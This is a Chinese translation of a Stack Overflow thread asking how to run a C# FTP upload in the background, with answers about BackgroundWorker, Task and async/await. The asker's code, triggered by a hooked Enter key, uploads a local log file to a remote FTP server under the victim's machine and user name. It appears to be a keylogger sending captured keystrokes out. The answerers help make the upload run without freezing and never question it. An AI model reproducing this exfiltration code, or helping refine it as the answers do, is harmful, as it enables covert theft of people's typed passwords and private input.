【问题标题】:Threading FTP upload c#线程FTP上传c#
【发布时间】:2013-04-25 00:50:08
【问题描述】:

我无法弄清楚如何处理我的 FTP 上传脚本。我试图让它从 C# 控制台应用程序上传。我不喜欢它在上传时冻结应用程序的事实。我听说过使用“后台工作人员”,但我完全不知道如何设置它。我一直在寻找一段时间。你能给我一个例子吗?谢谢。

if ((Keys)vkCode == Keys.Enter)
{
                        //~~~ Enter Key pressed ~~~ //
                            string ftpsrc = Application.StartupPath + @"/logs/log.txt";
                            FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
                                    request2.Method = WebRequestMethods.Ftp.UploadFile;
                                    request2.Credentials = new NetworkCredential("username", "password");
                                    StreamReader sourceStream2 = new StreamReader(ftpsrc);
                                    byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
                                    sourceStream2.Close();
                                    request2.ContentLength = fileContents2.Length;
                                    Stream requestStream2 = request2.GetRequestStream();
                                    requestStream2.Write(fileContents2, 0, fileContents2.Length);
                                    requestStream2.Close();
                                    FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
                                    response2.Close();


                            //~~~ End Enter Key ~~~//
                        }

【问题讨论】:

    标签: c# multithreading upload ftp backgroundworker


    【解决方案1】:

    一个非常简单的方法是使用BackgroundWorker 之类的东西,它可以让您访问诸如进度事件之类的东西以及控制执行。此方法将允许您将 UI 线程与您的 FTP 上传逻辑完全分开。这意味着无论上传完成多长时间,您的 UI 都会做出响应。

    现在多线程实际上传是另一回事。如果这就是你想要的,它将需要将消息分成相等的部分并在 FTP 端重新组装这些部分,但这意味着还要编写一个自定义 ftp 服务器。

    在此处查看有关 BackgroundWorker 是什么以及如何使用它的完整说明: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

    编辑::

    好的,在 cmets 中回答您关于如何设置后台工作程序以在 enter 键上执行的问题。查看上述文档,了解如何使用后台工作人员的要点。

    您可能希望使用您设置的后台工作程序的RunWorkerAsync() 方法更改当前的密钥挂钩。 BackgroundWorker 的 DoWork 方法应该是您当前在 key hook 中拥有的。

        BG.DoWork += YourUploadFunction();
    
        if ((Keys)vkCode == Keys.Enter)
        {
             //~~~ Enter Key pressed ~~~ //
             BG.RunWorkerAsync();
        }
    

    要初始化BackgroundWorker,请执行以下操作:

        BackgroundWorker BG = new BackgroundWorker();
        BG.DoWork += new DoWorkEventHandler(BG_DoWork);
    

    DoWorkEventHandler 允许创建一个新的处理程序来控制 BG 将执行的功能。这方面的一个例子是:

        private void BG_DoWork(object sender, DoWorkEventArgs e)
        {   
             YourUploadFunctions();
        }
    

    但是,您希望只对 BackgroundWorker 进行一次初始化,这样您就不会拥有它的多个实例。此外,一旦设置了 DoWork 事件,就不需要再次执行。 `

    【讨论】:

    • 我听说过使用后台工作者。你能给我一个使用回车键时调用的后台工作者的例子吗?比如 if ((Keys)vkCode == Keys.Enter) { //stuffs }
    • @Chris_Bogausch 检查我的编辑。
    • 非常感谢!我正在寻找一个实际的例子。我只是一个试图学习一些 c# 的菜鸟。感谢您帮助我!如果我需要帮助,我会与您联系。
    • 我还有什么想补充的吗?我得到“非静态字段、方法或属性‘Program.class.BG’需要对象引用。如果有帮助,我将添加完整的程序?
    • @Chris_Bogausch 您收到错误是因为您需要先初始化一个后台工作人员。再次检查我的编辑。
    【解决方案2】:

    BackgroundWorkers 可以很好地解决这个问题,另一个选项是 Task 类。你可以在这里阅读它Task Class 。有一个如何在页面上实现它的示例。此外,根据您使用的 .net 框架版本,您还可以查看此处显示的 Async 和 Await async await

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2016-11-26
      • 1970-01-01
      • 2012-05-13
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2016-07-29
      • 2022-01-22
      相关资源
      最近更新 更多